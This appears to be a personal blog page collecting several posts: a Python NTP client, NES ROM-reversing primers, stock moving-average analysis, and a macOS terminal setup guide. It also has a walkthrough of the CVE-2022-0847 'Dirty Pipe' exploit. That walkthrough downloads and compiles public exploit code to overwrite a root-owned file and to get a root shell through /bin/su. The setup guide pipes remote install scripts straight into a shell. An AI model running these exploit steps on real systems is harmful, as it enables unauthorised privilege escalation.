Steve Birstok

Python NTP Client

2023-12-29T00:00:00+00:00

import socket
import struct
import time
import sys

def query_ntp_server(server_address):
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        data = b'\x1b' + 47 * b'\0'  # NTP request packet

        client.sendto(data, (server_address, 123))
        response, _ = client.recvfrom(48)

        unpacked = struct.unpack('!12I', response)
        seconds_since_1900 = unpacked[10] - 2208988800
        ntp_time = time.ctime(seconds_since_1900)

        return ntp_time
    except Exception as e:
        return f"Error: {str(e)}"

if __name__ == "__main__":
    ntp_server_address = sys.argv[1]
    ntp_time = query_ntp_server(ntp_server_address)

    if "Error" in ntp_time:
        print(f"Unable to query NTP server: {ntp_time}")
    else:
        print(f"NTP time from {ntp_server_address}: {ntp_time}")

In today’s post, we’re diving into the creation of a simple yet effective Network Time Protocol (NTP) client using Python. The NTP protocol is pivotal in the synchronization of clocks over computer networks. While most modern operating systems handle this automatically, understanding the underlying process can be beneficial, especially for those interested in network programming or time-sensitive applications.

The script provided above is a basic implementation of an NTP client. It communicates with an NTP server to retrieve the current time. Here’s a breakdown of how the script works:

Socket Creation: We start by creating a socket, which is essential for network communication. The socket.socket(socket.AF_INET, socket.SOCK_DGRAM) line initializes a UDP socket.
NTP Request Packet: An NTP request packet is formed. The first byte (\x1b or 27 in decimal) indicates that this is a client request.
Sending and Receiving Data: The packet is sent to the specified NTP server. We then wait for the response, which will include the time information.
Unpacking the Response: The received data is unpacked to extract the relevant timestamp. The NTP protocol returns the time in seconds since 1 January 1900, so we adjust this to Unix time (seconds since 1 January 1970).
Handling Errors: The script is designed to handle any exceptions, such as network issues, by returning an error message.
Usage: To use this script, run it from the command line with the address of the NTP server as an argument, like python scriptname.py pool.ntp.org.

This simple script is a great starting point for those looking to understand network communication in Python and the basics of the NTP protocol. It can be expanded or integrated into larger applications where accurate time data is crucial.

Remember, while this script is useful for educational purposes, it’s important to use it responsibly. Continuously querying NTP servers, especially public ones, can be seen as abusive behavior. Always adhere to the usage policies of the NTP servers you interact with.

In future posts, we might delve into more advanced topics, like setting up your own NTP server or handling time zones and daylight saving time. Stay tuned!

Part 2: Reading NES Architecture Disassembly: A Guide to Understanding Classic Game Code

2023-03-19T00:00:00+00:00

In the previous blog post, we explored the world of reversing Nintendo ROMs and the tools needed for the process. Today, we’ll dive deeper into NES architecture disassembly and learn how to read and understand classic game code.

Introduction

Reading NES disassembly is a crucial skill when reverse engineering classic games. In this blog post, we’ll learn the basics of the NES architecture and its assembly language, as well as how to read disassembled code.

NES Architecture Overview

The NES (Nintendo Entertainment System) is an 8-bit game console that uses a 6502 processor. It has a 16-bit address space, allowing it to access up to 64KB of memory. The memory is divided into several sections, including:

2KB of internal RAM (0x0000-0x07FF)
8KB of Video RAM (VRAM) (0x2000-0x3FFF)
32KB of ROM (0x8000-0xFFFF)

In addition to the CPU, the NES also has a specialized graphics processing unit (GPU) called the Picture Processing Unit (PPU).

6502 Assembly Language

The 6502 processor uses its own assembly language, which consists of a set of mnemonics that represent machine code instructions. These mnemonics are human-readable representations of the operations the processor can perform. Here are a few examples:

LDA (Load Accumulator): Loads a value into the accumulator (A) register.
STA (Store Accumulator): Stores the value in the accumulator (A) register to a memory address.
JMP (Jump): Sets the program counter (PC) to a specified address, effectively jumping to that location in the code.

Reading NES Disassembly

To read NES disassembly, you’ll need to familiarize yourself with the 6502 assembly language and understand how the processor interacts with memory. Here’s an example of a simple disassembled NES code:

LDA #$01    ; Load the value 0x01 into the accumulator (A) register
STA $0200   ; Store the value in the accumulator (A) register to memory address 0x0200
JMP $8000   ; Jump to memory address 0x8000

In this example, we load the value 0x01 into the accumulator, store it in memory address 0x0200, and then jump to memory address 0x8000.

When analyzing disassembled code, it’s essential to understand the purpose of each instruction and how it interacts with the overall program. Keep in mind that game code can be complex, and you may need to spend time researching and experimenting to fully grasp its functionality.

Tips for Analyzing Disassembly

Here are a few tips to help you analyze NES disassembly:

Take Notes: As you work through the disassembled code, take detailed notes on each instruction and its purpose. This will help you build a mental map of the game’s logic.
Follow the Flow: Pay attention to control flow instructions, such as JMP, JSR (Jump to Subroutine), and branch instructions. These will help you understand the structure of the code and how it’s organized.
Look for Patterns: Many games follow similar coding patterns, such as using loops for animation or updating the game state. Identifying these patterns can help you understand the underlying logic and make it easier to identify specific functions or routines within the code.
Experiment: Don’t be afraid to modify the disassembled code and observe the effects on the game. This hands-on approach can provide valuable insights and help you learn more about the game’s inner workings.

Conclusion

Reading NES architecture disassembly is a fascinating and essential skill for anyone interested in reverse engineering classic Nintendo games. By understanding the NES architecture, familiarizing yourself with the 6502 assembly language, and following the tips outlined in this post, you’ll be well-equipped to explore the secrets hidden within your favorite games. As you delve deeper into this world, you’ll gain a greater appreciation for the ingenuity and creativity that went into creating these timeless classics.

Happy hacking!

Part 1: Reversing Nintendo ROMs: A Journey into Retro Game Hacking

2023-03-17T00:00:00+00:00

Reversing Nintendo ROMs is a fascinating world of retro game hacking. In this blog post, we’ll dive into the process and tools used to understand and modify classic games.

Introduction

Nintendo has a rich history of iconic games that have captivated players for decades. But, have you ever wondered what makes these games tick? Reversing Nintendo ROMs is the key to unlocking their secrets. In this post, we’ll explore the world of retro game hacking by examining the process of reverse engineering Nintendo ROMs.

What are ROMs?

ROM stands for Read-Only Memory. In the context of gaming, a ROM is a file containing the data from a game cartridge. This data can be used by emulators to run the game on modern hardware. ROMs are the foundation for our reverse engineering journey.

Tools of the Trade

To get started with reversing Nintendo ROMs, you’ll need a few tools:

Emulator: A software that allows you to run the ROM on your computer. For Nintendo consoles, popular emulators include FCEUX for the NES and ZSNES for the SNES.
Hex Editor: A tool that allows you to view and edit the binary data of a ROM. HxD is a popular hex editor for Windows.
Debugger: A tool that allows you to step through the game’s code and analyze its execution. Many emulators include built-in debuggers.
Disassembler: A tool that translates the game’s machine code into human-readable assembly language. IDA Pro is a powerful disassembler that supports many processor architectures, including those used in Nintendo consoles.

Understanding the Game’s Architecture

Before diving into the ROM itself, it’s crucial to understand the architecture of the game console. Each console has its own unique processor and memory layout. For example, the NES uses a 6502 processor, while the SNES uses a 65C816. Understanding the underlying hardware will help you make sense of the game’s code.

Disassembling the ROM

Once you have a firm grasp on the console’s architecture, you can begin disassembling the ROM. This process involves loading the ROM into a disassembler and translating the machine code into assembly language. This will give you a clearer picture of how the game’s code functions.

Debugging and Modifying the ROM

With the disassembled code in hand, you can start exploring the game’s inner workings. Using an emulator with a built-in debugger, you can set breakpoints, step through the code, and analyze the game’s logic. This is where the real fun begins, as you can modify the game’s behavior and create your own custom hacks!

Conclusion

Reversing Nintendo ROMs is an exciting journey into the world of retro game hacking. With the right tools and a solid understanding of the game’s architecture, you can unlock the secrets hidden within these classic games. Whether you’re looking to create custom modifications or simply learn more about your favorite titles, the world of ROM hacking awaits.

Enjoyed this post? Stay tuned for part 2!

Part 1: Analyzing the Stock Market with Python

2023-02-15T00:00:00+00:00

In this blog post, we’ll explore how to use Python to analyze the stock market. We’ll cover retrieving stock data, calculating simple moving averages, and visualizing the results.

Requirements

Python 3.6 or higher
Pandas (pip install pandas)
Pandas-datareader (pip install pandas-datareader)
Matplotlib (pip install matplotlib)

Retrieving Stock Data

We’ll use the pandas-datareader library to fetch historical stock data from Yahoo Finance. Let’s fetch the last two years of daily data for Microsoft (MSFT):

import pandas_datareader as pdr
import datetime as dt

ticker = "MSFT"
start_date = dt.datetime.now() - dt.timedelta(days=2 * 365)
end_date = dt.date.today()

df = pdr.get_data_yahoo(ticker, start_date, end_date)
print(df.head())

Calculating Simple Moving Averages

Next, we’ll calculate the 50-day and 200-day simple moving averages (SMA):

df['SMA50'] = df['Close'].rolling(window=50).mean()
df['SMA200'] = df['Close'].rolling(window=200).mean()

Visualizing the Results

Finally, let’s plot the stock prices and moving averages using matplotlib:

import matplotlib.pyplot as plt

plt.figure(figsize=(12, 6))
plt.plot(df['Close'], label='Close Price', alpha=0.5)
plt.plot(df['SMA50'], label='50-day SMA', linestyle='--')
plt.plot(df['SMA200'], label='200-day SMA', linestyle='-.')

plt.title('Microsoft (MSFT) Stock Prices with 50 and 200-day SMAs')
plt.xlabel('Date')
plt.ylabel('Price ($)')
plt.legend(loc='upper left')
plt.show()

With this, we’ve successfully used Python to retrieve stock data, calculate simple moving averages, and visualize the results. You can adapt this code to analyze other stocks or use different indicators as needed.

Happy trading!

CVE-2022-0847: Linux - Write Anything Exploit

2022-03-08T16:22:00+00:00

Setup environment

# Start a docker container, drop to shell.
docker run --rm -it ubuntu:focal-20220302 /bin/bash

# cd to /tmp, Install GCC / Curl and create a user "foo"
cd /tmp; apt update && apt install -y gcc curl && useradd -s /bin/bash foo

Variant 1: Write Anything

# create a file owned by root.
echo This is roots file dont touch it! > root_owns_this
chmod 644 root_owns_this

# drop to "foo" user.
su foo

# download the payload
curl -o write_anything.c https://dl.packetstormsecurity.net/2203-exploits/write_anything.c

# compile
gcc -o write_anything ./write_anything.c

# before
cat ./root_owns_this

# exploit
./write_anything ./root_owns_this 1 FOOOOO

# after
cat ./root_owns_this

Variant 2: Root Shell

# drop to "foo" user.
su foo

# download the payload
curl -o dirty.c https://dl.packetstormsecurity.net/2203-exploits/dirtypipez.c

# compile
gcc -o dirty ./dirty.c

# exploit
./dirty /bin/su

OSX Terminal Setup Guide

2021-01-26T06:52:00+00:00

A speedy setup.

I use it whenever I get a new Mac and want to jump right in to being productive.

Install MacPorts

Go here.
Choose your Mac OS (Catalina, Mojave, …).
Install the MacPorts-x.x.x-xx.xx-x.pkg (x’s will be replaced with your OS).

Food For Thought: Mull over this article and make your own choice between homebrew or MacPorts

Install jq

see: jq

port install jq

Install Fish

see: fish

port install fish
sudo chsh -s $(which fish) $(id -F)

Install oh-my-fish

see: oh-my-fish

curl -L https://get.oh-my.fish | fish

Restart your Terminal

Exit and restart your terminal.

Install nvm and nvm plugins for OMF.

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/$(curl -Ls 'https://api.github.com/repos/nvm-sh/nvm/releases/latest' | jq -r .tag_name)/install.sh | bash
omf install nvm

Install BobtheFish theme

see: bobthefish

omf install bobthefish

Install Docker

see:: docker

Download https://desktop.docker.com/mac/stable/Docker.dmg
Install.